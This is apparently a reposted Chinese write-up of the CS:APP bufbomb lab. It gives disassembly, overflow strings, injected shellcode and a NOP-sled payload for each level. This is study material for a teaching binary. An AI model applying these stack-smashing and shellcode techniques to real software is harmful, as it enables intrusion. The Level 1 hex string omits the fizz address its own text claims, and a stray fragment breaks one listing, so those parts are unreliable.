您的位置:首页 > 移动开发

csapp-lab3 bufbomb

2017-11-04 23:27 1116 查看

bufbomb-lab

Level 0:Candle

08048daa <test>:
8048daa:   55                      push   %ebp
8048dab:   89 e5                   mov    %esp,%ebp
8048dad:   53                      push   %ebx
8048dae:   83 ec 24                sub    $0x24,%esp
8048db1:   e8 da ff ff ff          call   8048d90 <uniqueval>
8048db6:   89 45 f4                mov    %eax,-0xc(%ebp)
8048db9:   e8 36 04 00 00          call   80491f4 <getbuf>
8048dbe:   89 c3                   mov    %eax,%ebx
8048dc0:   e8 cb ff ff ff          call   8048d90 <uniqueval>
8048dc5:   8b 55 f4                mov    -0xc(%ebp),%edx
8048dc8:   39 d0                   cmp    %edx,%eax
8048dca:   74 0e                   je     8048dda <test+0x30>
8048dcc:   c7 04 24 88 a3 04 08    movl   $0x804a388,(%esp)
8048dd3:   e8 e8 fa ff ff          call   80488c0 <puts@plt>
8048dd8:   eb 46                   jmp    8048e20 <test+0x76>
8048dda:   3b 1d 08 d1 04 08       cmp    0x804d108,%ebx
8048de0:   75 26                   jne    8048e08 <test+0x5e>
8048de2:   89 5c 24 08             mov    %ebx,0x8(%esp)
8048de6:   c7 44 24 04 2a a5 04    movl   $0x804a52a,0x4(%esp)
8048ded:   08
8048dee:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
8048df5:   e8 c6 fb ff ff          call   80489c0 <__printf_chk@plt>
8048dfa:   c7 04 24 03 00 00 00    movl   $0x3,(%esp)
8048e01:   e8 75 05 00 00          call   804937b <validate>
8048e06:   eb 18                   jmp    8048e20 <test+0x76>
8048e08:   89 5c 24 08             mov    %ebx,0x8(%esp)
8048e0c:   c7 44 24 04 47 a5 04    movl   $0x804a547,0x4(%esp)
8048e13:   08
8048e14:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
8048e1b:   e8 a0 fb ff ff          call   80489c0 <__printf_chk@plt>
8048e20:   83 c4 24                add    $0x24,%esp
8048e23:   5b                      pop    %ebx
8048e24:   5d                      pop    %ebp
8048e25:   c3                      ret

08048c18 <smoke>:
8048c18:   55                      push   %ebp
8048c19:   89 e5                   mov    %esp,%ebp
8048c1b:   83 ec 18                sub    $0x18,%esp
8048c1e:   c7 04 24 d3 a4 04 08    movl   $0x804a4d3,(%esp)
8048c25:   e8 96 fc ff ff          call   80488c0 <puts@plt>
8048c2a:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)
8048c31:   e8 45 07 00 00          call   804937b <validate>
8048c36:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)
8048c3d:   e8 be fc ff ff          call   8048900 <exit@plt>


思路:该Level是为了在test调用getbuf的时候,输入大于BUF长度的字符串使得getbuf发生缓冲溢出,继而在getbuf函数返回的时候调用smoke,所以这里关键的是不能破坏保存的旧
%ebp
的值,以及将返回地址修改为
smoke
函数的地址值

smoke
函数的地址值是
08048c18
,已保存的旧
%ebp
的值可以通过gdb的
info registers
命令获取栈帧的寄存器相应值

最后的结果是先填充BUF区间值,再填写原本的旧
%ebp
的值,以及修改返回地址即可,使得test调用
smoke
函数即可

最后的字符串对应16进制如下,其中
40 3d 68 55
是原本的旧
%ebp
的值,而
18 8c 04 08
smoke
函数的地址值

30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 40 3d 68 55 18 8c 04 08

Level 1:Sparkler

void fizz(int val)
{
if (val == cookie) {
printf("Fizz!:You called fizz(0x%x)\n", val);
} else {
printf("Misfire:You called fizz(0x%x)\n", val);
}
exit(0);
}


08048c42 <fizz>:
8048c42:   55                      push   %ebp
8048c43:   89 e5                   mov    %esp,%ebp
8048c45:   83 ec 18                sub    $0x18,%esp
8048c48:   8b 45 08                mov    0x8(%ebp),%eax
8048c4b:   3b 05 08 d1 04 08       cmp    0x804d108,%eax
8048c51:   75 26                   jne    8048c79 <fizz+0x37>
8048c53:   89 44 24 08             mov    %eax,0x8(%esp)
8048c57:   c7 44 24 04 ee a4 04    movl   $0x804a4ee,0x4(%esp)
8048c5e:   08
8048c5f:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
8048c66
f47d
:   e8 55 fd ff ff          call   80489c0 <__printf_chk@plt>
8048c6b:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
8048c72:   e8 04 07 00 00          call   804937b <validate>
8048c77:   eb 18                   jmp    8048c91 <fizz+0x4f>
8048c79:   89 44 24 08             mov    %eax,0x8(%esp)
8048c7d:   c7 44 24 04 40 a3 04    movl   $0x804a340,0x4(%esp)
8048c84:   08
8048c85:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
8048c8c:   e8 2f fd ff ff          call   80489c0 <__printf_chk@plt>
8048c91:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)
8048c98:   e8 63 fc ff ff          call   8048900 <exit@plt>


思路:该Level是为了在test调用getbuf的时候,输入大于BUF长度的字符串使得getbuf发生缓冲溢出,继而在getbuf函数返回的时候调用fizz,所以这里关键的是不能破坏保存的旧
%ebp
的值,以及将返回地址修改为
fizz
函数的地址值,与Level1不同的是,这里需要将参数val放入stack上,而这里的参数
val
的值就是和
userid
对应的
cookie


fizz
函数的地址值是
08048c42
,已保存的旧
%ebp
的值可以通过gdb的
info registers
命令获取栈帧的寄存器相应值

先填充BUF区间值,再填写原本的旧
%ebp
的值,再修改返回地址,最后加上作为参数的cookie值,使得test调用
fizz
函数即可

这里住的注意的是
fizz
不是使用
call
调用的,而是直接执行代码,所以没有在栈上压入返回地址,所以和之前的
0x8(%ebp)
相比,是相差4个字节的,具体情况可以画出栈的图对比,实际的参数如果想在
0x8(%ebp)
处拿到,需要在输入的字符串中多添加4个字节的值

最后的字符串对应16进制如下,其中
40 3d 68 55
是原本的旧
%ebp
的值,而
42 8c 04 08
fizz
函数的地址值,
30 30 30 30
需要多出来的4个字节,最后加上
cookie
ea 9d b4 5f


30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 40 3d 68 55 30 30 30 30 ea 9d b4 5f

Level 2:Firecracker

int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!:You set global_value to 0x%x\n", global_value);
validate(2);
} else {
printf("Misfire: global_value = 0x%x\n", global_value);
}
exit(0);
}


08048c9d <bang>:
8048c9d:   55                      push   %ebp
8048c9e:   89 e5                   mov    %esp,%ebp
8048ca0:   83 ec 18                sub    $0x18,%esp
8048ca3:   a1 00 d1 04 08          mov    0x804d100,%eax
8048ca8:   3b 05 08 d1 04 08       cmp    0x804d108,%eax
8048cae:   75 26                   jne    8048cd6 <bang+0x39>
8048cb0:   89 44 24 08             mov    %eax,0x8(%esp)
8048cb4:   c7 44 24 04 60 a3 04    movl   $0x804a360,0x4(%esp)
8048cbb:   08
8048cbc:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
8048cc3:   e8 f8 fc ff ff          call   80489c0 <__printf_chk@plt>
8048cc8:   c7 04 24 02 00 00 00    movl   $0x2,(%esp)
8048ccf:   e8 a7 06 00 00          call   804937b <validate>
8048cd4:   eb 18                   jmp    8048cee <bang+0x51>
8048cd6:   89 44 24 08             mov    %eax,0x8(%esp)
8048cda:   c7 44 24 04 0c a5 04    movl   $0x804a50c,0x4(%esp)
8048ce1:   08
8048ce2:   c7 04 24 01 00 00 00    movl   $0x1,(%esp)
8048ce9:   e8 d2 fc ff ff          call   80489c0 <__printf_chk@plt>
8048cee:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)
8048cf5:   e8 06 fc ff ff          call   8048900 <exit@plt>


思路:该Level是为了在test调用getbuf的时候,输入大于BUF长度的字符串使得getbuf发生缓冲溢出,继而在getbuf函数返回的时候调用写入的机器代码,所以这里关键的是不能破坏保存的旧
%ebp
的值,以及将返回地址修改为写入的机器代码的的起始值,机器代码完成的功能是先将
bang
函数的地址压栈,将
cookie
值写入到
0x804d100
,再执行
ret
指令转移到
bang


bang
函数的地址值是
08048c9d
,已保存的旧
%ebp
的值可以通过gdb的
info registers
命令获取栈帧的寄存器相应值,而机器指令的起始地址取决于填入的字符串具体值

先填充BUF区间值,再填充机器指令,再将原本的旧
%ebp
的值,以及机器代码的起始地址填充进去

最后的字符串对应16进制如下,其中
40 3d 68 55
是原本的旧
%ebp
的值,而
fc 3c 68 55
是机器代码的起始地址,
90 90 b8 9d 8c 04 08 50 b8 00 d1 04 08 c7 00 ea 9d b4 5f c3
则是机器代码,对应的汇编如下:

01 00 00 00 02 00 00 00 03 00 00 00 04 00 00 00 05 00 00 00 90 90 b8 9d 8c 04 08 50 b8 00 d1 04 08 c7 00 ea 9d b4 5f c3 40 3d 68 55 fc 3c 68 55

nop
nop
movl $0x8048c9d,%eax ;; 注意前面的$符号一定不要忘记,很耽误调试的时间,
push %eax
movl $0x804d100,%eax
movl $0x5fb49dea,(eax)
ret


Level 3:Dynamite

该Level的要求是提供一个字符串使得
getbuf
返回
cookie
值给
test
而不是1,即设置
%eax
cookie
值,思路和Level2类似,只不过这里需要先压入返回test的地址,即
call 80491f4 <getbuf>
后面的机器代码地址
0x8048dbe
,再设置
%eax
的值,最后使用
ret
跳转到
test
即可,具体的字符串可以参考Level2以及下面的汇编代码。

mov $0x8048dbe,%eax
push %eax
mov $5fb49dea,%eax
ret


Level 4:Nitroglycerin

该Level的要求是提供一个字符串使得
getbuf
返回
cookie
值给
test
而不是1,即设置
%eax
cookie
值,思路和Level3类似,不过需要加上-n参数运行bufbomb,此时会进入
testn
getbufn
函数而不是
test
getbuf
函数,且调用
getbufn
函数在调用之前会在栈上随机分配容量来使得
getbufn
的ebp值不是固定值,会调用testn函数五次,且需要输入五次字符串并全部通过才能通过

8048e35:   e8 d2 03 00 00          call   804920c <getbufn> ;; 注意这里的返回地址是0x8048e3a
8048e3a:   89 c3                   mov    %eax,%ebx
8048e3c:   e8 4f ff ff ff          call   8048d90 <uniqueval>

0804920c <getbufn>:
804920c:   55                      push   %ebp
804920d:   89 e5                   mov    %esp,%ebp
804920f:   81 ec 18 02 00 00       sub    $0x218,%esp
8049215:   8d 85 f8 fd ff ff       lea    -0x208(%ebp),%eax ;; 注意这里实际分配的大小是520
804921b:   89 04 24                mov    %eax,(%esp)
804921e:   e8 d7 fa ff ff          call   8048cfa <Gets>
8049223:   b8 01 00 00 00          mov    $0x1,%eax
8049228:   c9                      leave
8049229:   c3                      ret
804922a:   90                      nop
804922b:   90                      nop


思路:
getbufn
函数正常返回后应回到
0x8048e3a
,注入的代码需要恢复栈帧
ebp=esp+0x28
,接下来需要解决
getbufn
函数
%ebp
随机化的问题,即字符串地址也是不固定的,只不过和
%ebp
相差
0x208
是固定的,这里可以通过
gdb
读入
getbufn
内字符串buf的地址,在
Gets
打断点调试查看
%eax
即可。具体的注入代码如下,而机器代码只需要在前面加入
nop
即可,机器代码是按地址由低向高顺序执行,五次运行都能顺利执行有效机器代码,需要使得跳转地址位于有效机器代码入口地址之前的nop机器指令填充区。所以尽可能使有效机器代码段放在高地址,这样即便跳转到前面,也可以执行
nop
,最后执行到
shell code
。所以最后的结果就是
(0x208 - 15)
nop
+ 机器指令 + 最大的字符串buf的地址。

lea 0x28(%esp),%ebp
movl $0x5fb49dea,%eax
pushl $0x08048e3a
ret

0:    8d 6c 24 28              lea    0x28(%esp),%ebp
4:    b8 ea 9d b4 5f           mov    $0x5fb49dea,%eax
9:    68 3a 8e 04 08           pushl  $0x08048e3a
e:    c3                       ret

90 ...(省略) 8d 6c 24 28 b8 ea 9d b4 5f 68 3a 8e 04 08 c3 31 31 31 31 78 3b 68 55
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: